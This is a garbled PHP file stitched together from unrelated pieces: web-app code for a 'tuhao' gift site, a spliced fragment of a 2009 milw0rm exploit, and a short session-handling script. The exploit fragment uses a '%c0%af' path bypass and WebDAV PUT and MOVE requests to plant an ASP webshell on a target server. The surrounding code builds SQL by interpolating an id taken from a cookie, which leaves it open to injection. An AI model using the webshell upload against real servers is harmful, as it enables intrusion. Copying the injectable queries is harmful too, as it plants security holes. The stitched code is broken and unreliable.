$data = fetchOne($sql);
$username = $data['username'];
$loginFlag = $data['id'];
$id = $data['id'];
} else {
$username = '';
$loginFlag = 0;
$id = 0;
}
$pageSize = 8;
$sql2 = "select * from tuhao_pro where username='******' and is_send=1 and status =0";
$sentNum = getResultNum($sql2);
$sql3 = "select * from tuhao_comm where receiver_id={$id} and status = 0";
$mesNum = getResultNum($sql3);
if ($type == 'goods') {
$data = sent($id, $pageSize, '');
$goods = 1;
$sql1 = "select * from tuhao_pro where username='******' and receiver is not null order by reg_time desc ";
$numRows = getResultNum($sql1);
$totalPage = ceil($numRows / $pageSize);
} elseif ($type == 'info') {
$data = receiveComm($id, $pageSize, '');
$goods = 0;
$sql1 = "select * from tuhao_comm where receiver_id={$id} order by reg_time desc";
$numRows = getResultNum($sql1);
$totalPage = ceil($numRows / $pageSize);
} elseif ($type == 'sending') {
$data = sending($id, $pageSize, '');
$goods = 3;
$username1 = fetchOne("select username from tuhao_user where id={$id}");
$sql1 = "select * from tuhao_pro where username='******' and receiver is null order by reg_time desc ";
echo "Remember,keep urfile in type txt!\r\n\r\n";
$fp = fopen("test.txt", 'r');
if ($fp != false) {
while (false !== ($char = fgets($fp))) {
$fir1 .= $char;
# fix: hoahongtim Team: hvaonline.net
}
fclose($fp);
$position = strrpos($path, "/");
$path = substr_replace($path, "%c0%af", $position, 0);
$sock = "PUT " . $path . "test.txt HTTP/1.1\r\n";
$sock .= "Host: " . $host . "\r\n";
$sock .= 'Content-Type: text/xml; charset="utf-8"' . "\r\n";
$sock .= "Connection:close\r\n";
$sock .= "Content-Length: " . strlen($fir1) . "\r\n\r\n";
$sock .= "" . $fir1 . "\r\n";
echo $sock;
sent($sock);
sleep(2);
$sock = "MOVE " . $path . "test.txt HTTP/1.1\r\n";
$sock .= "Host: " . $host . "\r\n";
$sock .= "Connection:close\r\n";
$sock .= "Destination: " . $path . "racle.asp\n\n";
sent($sock);
echo "Be cool,man! Webshell is http://" . $host . $path . "racle.asp";
die;
} else {
die;
}
}
# milw0rm.com [2009-05-22]
<?php
/**
* Created by PhpStorm.
* User: administrator
* Date: 2015/8/6
* Time: 16:01
*/
require_once '../include.php';
if (isset($_SESSION['id'])) {
$id = $_SESSION['id'];
} elseif (isset($_COOKIE['id'])) {
$id = $_COOKIE['id'];
}
echo sent($id, 8, 'json');
